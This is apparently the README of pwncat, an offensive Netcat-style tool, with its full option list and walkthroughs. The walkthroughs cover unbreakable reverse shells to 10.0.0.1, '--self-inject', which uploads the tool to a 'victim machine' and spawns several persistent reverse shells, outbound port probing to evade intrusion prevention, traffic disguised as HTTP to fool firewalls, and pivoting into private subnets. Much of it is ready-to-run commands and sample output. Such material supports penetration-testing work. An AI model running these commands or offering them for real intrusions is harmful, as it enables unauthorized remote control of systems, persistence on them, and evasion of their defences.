  [Linux]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/linux.png "Linux"
  [MacOS]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/osx.png "MacOS"
  [Windows]: https://raw.githubusercontent.com/cytopia/icons/master/64x64/windows.png "Windows"

  Type `pwncat -h` or click below to see all available options.
  <details>
    <summary><strong>Click here to expand usage</strong></summary>
  ```
  usage: pwncat [options] hostname port
         pwncat [options] -l [hostname] port
         pwncat [options] -z hostname port
         pwncat [options] -L [addr:]port hostname port
         pwncat [options] -R addr:port hostname port
         pwncat -V, --version
         pwncat -h, --help
  Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
  connect, zero-i/o, listen and forward modes and techniques to detect and evade
  firewalls and intrusion detection/prevention systems.
  If no mode arguments are specified, pwncat will run in connect mode and act as
  a client to connect to a remote endpoint. If the connection to the remote
  endoint is lost, pwncat will quit. See options for how to automatically re-
  connect.
  positional arguments:
    hostname              Address to listen, forward, scan or connect to.
    port                  [All modes]
                          Single port to listen, forward or connect to.
                          [Zero-I/O mode]
                          Specify multiple ports to scan:
                          Via list:  4444,4445,4446
                          Via range: 4444-4446
                          Via incr:  4444+2
  mode arguments:
    -l, --listen          [Listen mode]:
                          Start a server and listen for incoming connections.
                          If using TCP and a connected client disconnects or the
                          connection is interrupted otherwise, the server will
                          quit. See -k/--keep-open to change this behaviour.
    -z, --zero            [Zero-I/0 mode]:
                          Connect to a remote endpoint and report status only.
                          Used for port scanning.
                          See --banner for version detection.
    -L [addr:]port, --local [addr:]port
                          [Local forward mode]:
                          This mode will start a server and a client internally.
                          The internal server will listen locally on specified
                          addr/port (given by --local [addr:]port).
                          The server will then forward traffic to the internal
                          client which connects to another server specified by
                          hostname/port given via positional arguments.
                          (I.e.: proxies a remote service to a local address)
    -R addr:port, --remote addr:port
                          [Remote forward mode]:
                          This mode will start two clients internally. One is
                          connecting to the target and one is connecting to
                          another pwncat/netcat server you have started some-
                          where. Once connected, it will then proxy traffic
                          between you and the target.
                          This mode should be applied on machines that block
                          incoming traffic and only allow outbound.
                          The connection to your listening server is given by
                          -R/--remote addr:port and the connection to the
                          target machine via the positional arguments.
  optional arguments:
    -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.
    -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing
                          line endings for input and outout accordingly. Specify
                          'no' to completely remove any line feeds. By default
                          it will not replace anything and takes what is entered
                          (usually CRLF on Windows, LF on Linux and some times
                          CR on MacOS).
    -n, --nodns           Do not resolve DNS.
    --send-on-eof         Buffer data received on stdin until EOF and send
                          everything in one chunk.
    --no-shutdown         Do not shutdown into half-duplex mode.
                          If this option is passed, pwncat won't invoke shutdown
                          on a socket after seeing EOF on stdin. This is provided
                          for backward-compatibility with OpenBSD netcat, which
                          exhibits this behavior.
    -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                          or -vvvv for more verbosity. The server performance will
                          decrease drastically if you use more than three times.
    --info type           Show additional info about sockets, IPv4/6 or TCP opts
                          applied to the current socket connection. Valid
                          parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
                          Note, you must at least be in INFO verbose mode in order
                          to see them (-vv).
    -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                          In 'auto' mode, color is displayed as long as the output
                          goes to a terminal. If it is piped into a file, color
                          will automatically be disabled. This mode also disables
                          color on Windows by default. (default: auto)
    --safe-word str       All modes:
                          If pwncat is started with this argument, it will shut
                          down as soon as it receives the specified string. The
                          --keep-open (server) or --reconn (client) options will
                          be ignored and it won't listen again or reconnect to you.
                          Use a very unique string to not have it shut down
                          accidentally by other input.
  protocol arguments:
    -4                    Only Use IPv4 (default: IPv4 and IPv6 dualstack).
    -6                    Only Use IPv6 (default: IPv4 and IPv6 dualstack).
    -u, --udp             Use UDP for the connection instead of TCP.
    -T str, --tos str     Specifies IP Type of Service (ToS) for the connection.
                          Valid values are the tokens 'mincost', 'lowcost',
                          'reliability', 'throughput' or 'lowdelay'.
    --http                Connect / Listen mode (TCP and UDP):
                          Hide traffic in http packets to fool Firewalls/IDS/IPS.
    --https               Connect / Listen mode (TCP and UDP):
                          Hide traffic in https packets to fool Firewalls/IDS/IPS.
    -H [str [str ...]], --header [str [str ...]]
                          Add HTTP headers to your request when using --http(s).
  command & control arguments:
    --self-inject cmd:host:port[s]
                          Listen mode (TCP only):
                          If you are about to inject a reverse shell onto the
                          victim machine (via php, bash, nc, ncat or similar),
                          start your listening server with this argument.
                          This will then (as soon as the reverse shell connects)
                          automatically deploy and background-run an unbreakable
                          pwncat reverse shell onto the victim machine which then
                          also connects back to you with specified arguments.
                          Example: '--self-inject /bin/bash:10.0.0.1:4444'
                          It is also possible to launch multiple reverse shells by
                          specifying multiple ports.
                          Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
                          Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
                          Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
                          Note: this is currently an experimental feature and does
                          not work on Windows remote hosts yet.
  pwncat scripting engine:
    --script-send file    All modes (TCP and UDP):
                          A Python scripting engine to define your own custom
                          transformer function which will be executed before
                          sending data to a remote endpoint. Your file must
                          contain the exact following function which will:
                          be applied as the transformer:
                          def transform(data, pse):
                              
                              
                              
                              
                              return data
                          You can also define as many custom functions or classes
                          within this file, but ensure to prefix them uniquely to
                          not collide with pwncat's function or classes, as the
                          file will be called with exec().
    --script-recv file    All modes (TCP and UDP):
                          A Python scripting engine to define your own custom
                          transformer function which will be executed after
                          receiving data from a remote endpoint. Your file must
                          contain the exact following function which will:
                          be applied as the transformer:
                          def transform(data, pse):
                              
                              
                              
                              
                              return data
                          You can also define as many custom functions or classes
                          within this file, but ensure to prefix them uniquely to
                          not collide with pwncat's function or classes, as the
                          file will be called with exec().
  zero-i/o mode arguments:
    --banner              Zero-I/O (TCP and UDP):
                          Try banner grabbing during port scan.
  listen mode arguments:
    -k, --keep-open       Listen mode (TCP only):
                          Re-accept new clients in listen mode after a client has
                          disconnected or the connection is interrupted otherwise.
                          (default: server will quit after connection is gone)
    --rebind [x]          Listen mode (TCP and UDP):
                          If the server is unable to bind, it will re-initialize
                          itself x many times before giving up. Omit the
                          quantifier to rebind endlessly or specify a positive
                          integer for how many times to rebind before giving up.
                          See --rebind-robin for an interesting use-case.
                          (default: fail after first unsuccessful try).
    --rebind-wait s       Listen mode (TCP and UDP):
                          Wait x seconds between re-initialization. (default: 1)
    --rebind-robin port   Listen mode (TCP and UDP):
                          If the server is unable to initialize (e.g: cannot bind
                          and --rebind is specified, it it will shuffle ports in
                          round-robin mode to bind to.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Set --rebind to at least the number of ports to probe +1
                          This option requires --rebind to be specified.
  connect mode arguments:
    --source-addr addr    Specify source bind IP address for connect mode.
    --source-port port    Specify source bind port for connect mode.
    --reconn [x]          Connect mode (TCP and UDP):
                          If the remote server is not reachable or the connection
                          is interrupted, the client will connect again x many
                          times before giving up. Omit the quantifier to retry
                          endlessly or specify a positive integer for how many
                          times to retry before giving up.
                          (default: quit if the remote is not available or the
                          connection was interrupted)
                          This might be handy for stable TCP reverse shells ;-)
                          Note on UDP:
                          By default UDP does not know if it is connected, so
                          it will stop at the first port and assume it has a
                          connection. Consider using --udp-sconnect with this
                          option to make UDP aware of a successful connection.
    --reconn-wait s       Connect mode (TCP and UDP):
                          Wait x seconds between re-connects. (default: 1)
    --reconn-robin port   Connect mode (TCP and UDP):
                          If the remote server is not reachable or the connection
                          is interrupted and --reconn is specified, the client
                          will shuffle ports in round-robin mode to connect to.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Set --reconn to at least the number of ports to probe +1
                          This helps reverse shell to evade intrusiona prevention
                          systems that will cut your connection and block the
                          outbound port.
                          This is also useful in Connect or Zero-I/O mode to
                          figure out what outbound ports are allowed.
    --ping-init           Connect mode (TCP and UDP):
                          UDP is a stateless protocol unlike TCP, so no hand-
                          shake communication takes place and the client just
                          sends data to a server without being "accepted" by
                          the server first.
                          This means a server waiting for an UDP client to
                          connect to, is unable to send any data to the client,
                          before the client hasn't send data first. The server
                          simply doesn't know the IP address before an initial
                          connect.
                          The --ping-init option instructs the client to send one
                          single initial ping packet to the server, so that it is
                          able to talk to the client.
                          This is a way to make a UDP reverse shell work.
                          See --ping-word for what char/string to send as initial
                          ping packet (default: '\0')
    --ping-intvl s        Connect mode (TCP and UDP):
                          Instruct the client to send ping intervalls every s sec.
                          This allows you to restart your UDP server and just wait
                          for the client to report back in. This might be handy
                          for stable UDP reverse shells ;-)
                          See --ping-word for what char/string to send as initial
                          ping packet (default: '\0')
    --ping-word str       Connect mode (TCP and UDP):
                          Change the default character '\0' to use for upd ping.
                          Single character or strings are supported.
    --ping-robin port     Connect mode (TCP and UDP):
                          Instruct the client to shuffle the specified ports in
                          round-robin mode for a remote server to ping.
                          This might be handy to scan outbound allowed ports.
                          Use comma separated string such as '80,81,82,83', a range
                          of ports '80-83' or an increment '80+3'.
                          Use --ping-intvl 0 to be faster.
    --udp-sconnect        Connect mode (UDP only):
                          Emulating stateful behaviour for UDP connect phase by
                          sending an initial packet to the server to validate if
                          it is actually connected.
                          By default, UDP will simply issue a connect and is not
                          aware if it is really connected or not.
                          The default connect packet to be send is '\0', you
                          can change this with --udp-sconnect-word.
    --udp-sconnect-word [str]
                          Connect mode (UDP only):
                          Change the the data to be send for UDP stateful connect
                          behaviour. Note you can also omit the string to send an
                          empty packet (EOF), but be aware that some servers such
                          as netcat will instantly quit upon receive of an EOF
                          packet.
                          The default is to send a null byte sting: '\0'.
  misc arguments:
    -h, --help            Show this help message and exit
    -V, --version         Show version information and exit
  ```
  </details>


  <!--
  <details>
    <summary>Click to expand</summary>
  -->
  > This is a universal advice and not only works with `pwncat`, but with all other common tools.
  When connected with a reverse or bind shell you'll notice that no interactive commands will work and
  hitting <kbd>Ctrl</kbd>+<kbd>c</kbd> will terminate your session.
  To fix this, you'll need to attach it to a TTY (make it interactive). Here's how:
  ```bash
  python3 -c 'import pty; pty.spawn("/bin/bash")'
  ```
  <kbd>Ctrl</kbd>+<kbd>z</kbd>
  ```bash

  stty size

  stty raw -echo
  fg

  stty raw -echo; fg
  reset
  export SHELL=bash
  export TERM=xterm
  stty rows <num> columns <cols>   # <num> and <cols> values found above by 'stty size'
  ```
  > <sup>[1] [Reverse Shell Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell)</sup>

  Without tricks a UDP reverse shell is not really possible. UDP is a stateless protocol compared to TCP and does not have a `connect()` method as TCP does.
  In TCP mode, the server will know the client IP and port, once the client issues a `connects()`.
  In UDP mode, as there is no `connect()`, the client simply sends data to an address/port without having to connect first.
  Therefore, in UDP mode, the server will not be able to know the IP and port of the client and hence, cannot send data to it first.
  The only way to make this possible is to have the client send some sort of data to the server first, so that the server can see what IP/port has sent data to it.
  `pwncat` emulates the TCP `connect()` by having the client send a null byte to the server once or periodically via `--ping-intvl` or `--ping-init`.
  ```bash




  pwncat --exec /bin/bash --udp --ping-init 10.0.0.1 4444
  ```

  Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily.
  In other words, the client will keep trying to connect to the specified server until success. If the connection is interrupted, it will keep trying again.
  ```bash





  pwncat --exec /bin/bash --nodns --reconn --reconn-wait 2 10.0.0.1 4444
  ```

  Why unbreakable? Because it will keep coming back to you, even if you kill your listening server temporarily.
  In other words, the client will keep sending null bytes to the server to constantly announce itself.
  ```bash





  pwncat --exec /bin/bash --nodns --udp --ping-intvl 2 10.0.0.1 4444
  ```

  Let's imagine you are able to create a very simple and unstable reverse shell from the target to
  your machine, such as a web shell via a PHP script or similar.
  Knowing, that this will not persist very long or might break due to unstable network connection,
  you could use `pwncat` to hook into this connection and deploy itself unbreakably on the target - fully automated.
  <a href="https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s"><img width="400" style="width:400px;" src="docs/img/video01.png" /></a>
  > [View on Youtube](https://www.youtube.com/watch?v=lN10hgl_Ts8&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2&t=0s)
  All you have to do, is use `pwncat` as your local listener and start it with the `--self-inject`
  switch. As soon as the client (e.g.: the reverse web shell) connects to it, it will do a couple of things:
  1. Enumerate Python availability and versions on the target
  2. Dump itself base64 encoded onto the target
  3. Use the target's Python to decode itself.
  4. Use the target's Python to start itself as an unbreakable reverse shell back to you
  Once this is done, you can keep using the current connection or simply abandon it and start a new
  listener (yes, you don't need to start the listener before starting the reverse shell) to have
  the new `pwncat` client connect to you. The new listener also doesn't have to be `pwncat`, it can
  also be `netcat` or `ncat`.
  The **`--self-inject`** switch:
  ```bash
  pwncat -l 4444 --self-inject <cmd>:<host>:<port>
  ```
  * `<cmd>`: This is the command to start on the target (like `-e`/`--exec`, so you want it to be `cmd.exe` or `/bin/bash`)
  * `<host>`: This is for your local machine, the IP address to where the reverse shell shall connect back to
  * `<port>`: This is for your local machine, the port on which the reverse shell shall connect back to
  So imagine your Kali machine is 10.0.0.1. You instruct your webshell that you inject onto a Linux server to connect to you at port `4444`:
  ```bash

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445
  ```
  You will then see something like this:
  ```
  [PWNCAT CnC] Probing for: /bin/python
  [PWNCAT CnC] Probing for: /bin/python2
  [PWNCAT CnC] Probing for: /bin/python2.7
  [PWNCAT CnC] Probing for: /bin/python3
  [PWNCAT CnC] Probing for: /bin/python3.5
  [PWNCAT CnC] Probing for: /bin/python3.6
  [PWNCAT CnC] Probing for: /bin/python3.7
  [PWNCAT CnC] Probing for: /bin/python3.8
  [PWNCAT CnC] Probing for: /usr/bin/python
  [PWNCAT CnC] Potential path: /usr/bin/python
  [PWNCAT CnC] Found valid Python2 version: 2.7.16
  [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
  [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
  [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
  [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
  ```
  And you are set. You can now start another listener locally at `4445` (again, it will connect back to you endlessly, so it is not required to start the listener first).
  ```bash

  nc -lp 4445

  ncat -l 4445

  pwncat -l 4445
  ```

  Instead of just asking for a single self-injecting reverse shell, you can instruct `pwncat` to spawn as many unbreakable reverse shells connecting back to you as you desire.
  <a href="https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2"><img width="400" style="width:400px;" src="docs/img/video02.png" /></a>
  > [View on Youtube](https://www.youtube.com/watch?v=VQyFoUG18WY&list=PLT1I2bH6BKxj2qEylDdEns39ej8g3_eMc&index=2")
  The `--self-inject` argument allows you to not only define a single port, but also
  1. A comma separated list of ports: `4445,4446,4447,4448`
  2. A range definition: `4446-4448`
  3. An increment: `4445+3`
  In order to spawn 4 reverse shells you would start your listener just as described above, but instead
  of a single port, you define multiple:
  ```bash

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445,4446,4447,4448

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445-4448

  pwncat -l 4444 --self-inject /bin/bash:10.0.0.1:4445+3
  ```
  Each of the above three commands will achieve the same behaviour: spawning 4 reverse shells inside the target.
  Once the client connects, the output will look something like this:
  ```
  [PWNCAT CnC] Probing for: /bin/python
  [PWNCAT CnC] Probing for: /bin/python2
  [PWNCAT CnC] Probing for: /bin/python2.7
  [PWNCAT CnC] Probing for: /bin/python3
  [PWNCAT CnC] Probing for: /bin/python3.5
  [PWNCAT CnC] Probing for: /bin/python3.6
  [PWNCAT CnC] Probing for: /bin/python3.7
  [PWNCAT CnC] Probing for: /bin/python3.8
  [PWNCAT CnC] Probing for: /usr/bin/python
  [PWNCAT CnC] Potential path: /usr/bin/python
  [PWNCAT CnC] Found valid Python2 version: 2.7.16
  [PWNCAT CnC] Creating tmpfile: /tmp/tmp3CJ8Us
  [PWNCAT CnC] Creating tmpfile: /tmp/tmpgHg7YT
  [PWNCAT CnC] Uploading: /home/cytopia/tmp/pwncat/bin/pwncat -> /tmp/tmpgHg7YT (3422/3422)
  [PWNCAT CnC] Decoding: /tmp/tmpgHg7YT -> /tmp/tmp3CJ8Us
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4445 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4446 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4447 &
  Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &
  ```

  > **Note:** Ensure you have a reverse shell that keeps coming back to you. This way you can always change your logging settings without loosing the shell.

  If you feel like, you can start a listener in full TRACE logging mode to figure out what's going on or simply to troubleshoot.
  Log message are colored depending on their severity. Colors are automatically turned off, if stderr is not a pty, e.g.: if piping those to a file.
  You can also manually disable colored logging for terminal outputs via the `--color` switch.
  ```bash
  pwncat -vvvv -l 4444
  ```
  You will see (among all the gibberish) a TRACE message:
  ```bash
  2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
  2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
  2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
  2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
  ```
  As soon as you saw this on the listener, you can issue commands to the client.
  All the debug messages are also not necessary, so you can safely <kbd>Ctrl</kbd>+<kbd>c</kbd> terminate
  your server and start it again in silent mode:
  ```bash
  pwncat -l 4444
  ```
  Now wait a maximum a few seconds, depending at what interval the client comes back to you and voila, your session is now again without logs.
  Having no info messages at all, is also sometimes not desirable. You might want to know what is going
  on behind the scences or? Safely <kbd>Ctrl</kbd>+<kbd>c</kbd> terminate your server and redirect
  the notifications to a logfile:
  ```bash
  pwncat -l -vvv 4444 2> comm.txt
  ```
  Now all you'll see in your terminal session are the actual command inputs and outputs.
  If you want to see what's going on behind the scene, open a second terminal window and tail
  the `comm.txt` file:
  ```bash

  tail -fn50 comm.txt
  2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
  2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
  2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
  2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
  2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output
  ```

  Another useful feature is to display currently configured socket and network settings.
  Use the `--info` switch with either `socket`, `ipv4`, `ipv6`, `tcp` or `all` to display all
  available settings.
  **Note:** In order to view those settings, you must at least be at `INFO` log level (`-vv`).
  An example output in IPv4/TCP mode without any custom settings is shown below:
  ```
  INFO: [bind-sock] Sock: SO_DEBUG: 0
  INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
  INFO: [bind-sock] Sock: SO_REUSEADDR: 1
  INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
  INFO: [bind-sock] Sock: SO_DONTROUTE: 0
  INFO: [bind-sock] Sock: SO_BROADCAST: 0
  INFO: [bind-sock] Sock: SO_LINGER: 0
  INFO: [bind-sock] Sock: SO_OOBINLINE: 0
  INFO: [bind-sock] Sock: SO_REUSEPORT: 0
  INFO: [bind-sock] Sock: SO_SNDBUF: 16384
  INFO: [bind-sock] Sock: SO_RCVBUF: 131072
  INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
  INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
  INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
  INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
  INFO: [bind-sock] Sock: SO_ERROR: 0
  INFO: [bind-sock] Sock: SO_TYPE: 1
  INFO: [bind-sock] Sock: SO_PASSCRED: 0
  INFO: [bind-sock] Sock: SO_PEERCRED: 0
  INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
  INFO: [bind-sock] Sock: SO_PRIORITY: 0
  INFO: [bind-sock] Sock: SO_MARK: 0
  INFO: [bind-sock] IPv4: IP_OPTIONS: 0
  INFO: [bind-sock] IPv4: IP_HDRINCL: 0
  INFO: [bind-sock] IPv4: IP_TOS: 0
  INFO: [bind-sock] IPv4: IP_TTL: 64
  INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
  INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
  INFO: [bind-sock] IPv4: IP_RETOPTS: 0
  INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
  INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
  INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
  INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
  INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
  INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
  INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
  INFO: [bind-sock] TCP: TCP_NODELAY: 0
  INFO: [bind-sock] TCP: TCP_MAXSEG: 536
  INFO: [bind-sock] TCP: TCP_CORK: 0
  INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
  INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
  INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
  INFO: [bind-sock] TCP: TCP_SYNCNT: 6
  INFO: [bind-sock] TCP: TCP_LINGER2: 60
  INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
  INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
  INFO: [bind-sock] TCP: TCP_INFO: 10
  INFO: [bind-sock] TCP: TCP_QUICKACK: 1
  INFO: [bind-sock] TCP: TCP_FASTOPEN: 0
  ```
  <!--
  </details>
  -->

  <!--
  <details>
    <summary>Click to expand</summary>
  -->

  **Scenario**
  1. Alice can be reached from the Outside (TCP/UDP)
  2. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     TCP     +-----------------+     TCP     +-----------------+
       | The cat         | -----|----> | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat 72.0.0.1 3306     |      pwncat \                 |
                                |        -L 72.0.0.1:3306 \     |
                                |         10.0.0.1 3306         |
  ```

  **Scenario**
  1. Alice can be reached from the Outside (but only via UDP)
  2. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     UDP     +-----------------+     TCP     +-----------------+
       | The cat         | -----|----> | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat -L       |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                                |        -L 72.0.0.1:3306 \     |
                                |        10.0.0.1 3306          |
  ```

  **Scenario**
  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (TCP/UDP)
  3. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     TCP     +-----------------+     TCP     +-----------------+
       | The cat         | <----|----- | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -l 4444           |      pwncat --reconn \        |
                                |        -R 56.0.0.1:4444 \     |
                                |        10.0.0.1 3306          |
  ```

  **Scenario**
  1. Alice cannot be reached from the Outside
  2. Alice is allowed to connect to the Outside (UDP: DNS only)
  3. Bob can only be reached from Alice's machine
  ```
                                |                               |
          Outside               |           DMZ                 |        private subnet
                                |                               |
                                |                               |
       +-----------------+     UDP     +-----------------+     TCP     +-----------------+
       | The cat         | <----|----- | Alice           | -----|----> | Bob             |
       |                 |      |      | pwncat          |      |      | MySQL           |
       | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
       +-----------------+      |      +-----------------+      |      +-----------------+
       pwncat -u -l 53          |      pwncat -u --reconn \     |
                                |        -R 56.0.0.1:4444 \     |
                                |        10.0.0.1 3306          |
  ```
  <!--
  </details>
  -->

  If you have no idea what outbound ports are allowed from the target machine, you can instruct
  the client (e.g.: in case of a reverse shell) to probe outbound ports endlessly.
  ```bash





  pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
  ```
  Once the client is up and running, either use raw sockets to check for inbound traffic or use
  something like Wireshark or tcpdump to find out from where the client is able to connect back to you,
  If you found one or more ports that the client is able to connect to you,
  simply start your listener locally and wait for it to come back.
  ```bash
  pwncat -l <ip> <port>
  ```
  If the client connects to you, you will have a working reverse shell. If you stop your local
  listening server accidentally or on purpose, the client will probe ports again until it connects successfully.
  In order to kill the reverse shell client, you can use `--safe-word` (when starting the client).
  If none of this succeeds, you can add other measures such as using UDP or even wrapping your
  packets into higher level protocols, such as HTTP or others. See [PSE](pse) or examples below
  for how to transform your traffic.

  `pwncat` offers a Python based scripting engine to inject your custom code before sending and
  after receiving data.

  You will simply need to provide a Python file with the following entrypoint function:
  ```python
  def transform(data, pse):
      
      return data[::-1]
  ```
  Both, the function name must be named `transform` and the parsed arguments must be named `data` and `pse`.
  Other than that you can add as much code as you like. Each instance of `pwncat` can take two scripts:
  1. `--script-send`: script will be applied before sending
  2. `--script-recv`: script will be applied after receiving
  See [here](pse) for API and more details

  > PSE: [asym-enc](pse/asym-enc) source code
  This will encrypt your traffic asymmetrically. It is just a very basic [ROT13](https://en.wikipedia.org/wiki/ROT13) implementation with different shift lengths on both sides to *emulate* asymmetry. You could do the same and implement GPG based asymmetric encryption for PSE.
  ```bash

  pwncat -vvvv -l localhost 4444 \
    --script-send pse/asym-enc/pse-asym_enc-server_send.py \
    --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
  ```
  ```bash

  pwncat -vvvv localhost 4444 \
    --script-send pse/asym-enc/pse-asym_enc-client_send.py \
    --script-recv pse/asym-enc/pse-asym_enc-client_recv.py
  ```

  > PSE: [http-post](pse/http-post) source code
  This will wrap all traffic into a valid HTTP POST request, making it look like normal HTTP traffic.
  ```bash

  pwncat -vvvv -l localhost 4444 \
    --script-send pse/http-post/pse-http_post-pack.py \
    --script-recv pse/http-post/pse-http_post-unpack.py
  ```
  ```bash

  pwncat -vvvv localhost 4444 \
    --script-send pse/http-post/pse-http_post-pack.py \
    --script-recv pse/http-post/pse-http_post-unpack.py
  ```


  ```bash
  $ sudo netstat -tlpn
  Active Internet connections (only servers)
  Proto Recv-Q Send-Q Local Address           Foreign Address     State
  tcp        0      0 127.0.0.1:631           0.0.0.0:*           LISTEN
  tcp        0      0 127.0.0.1:25            0.0.0.0:*           LISTEN
  tcp        0      0 127.0.0.1:4444          0.0.0.0:*           LISTEN
  tcp        0      0 0.0.0.0:902             0.0.0.0:*           LISTEN
  tcp6       0      0 ::1:631                 :::*                LISTEN
  tcp6       0      0 ::1:25                  :::*                LISTEN
  tcp6       0      0 ::1:4444                :::*                LISTEN
  tcp6       0      0 :::1053                 :::*                LISTEN
  tcp6       0      0 :::902                  :::*                LISTEN
  ```

  The following UDP ports are exposing:
  ```bash
  $ sudo netstat -ulpn
  Active Internet connections (only servers)
  Proto Recv-Q Send-Q Local Address           Foreign Address
  udp        0      0 0.0.0.0:631             0.0.0.0:*
  udp        0      0 0.0.0.0:5353            0.0.0.0:*
  udp        0      0 0.0.0.0:39856           0.0.0.0:*
  udp        0      0 0.0.0.0:68              0.0.0.0:*
  udp        0      0 0.0.0.0:68              0.0.0.0:*
  udp6       0      0 :::1053                 :::*
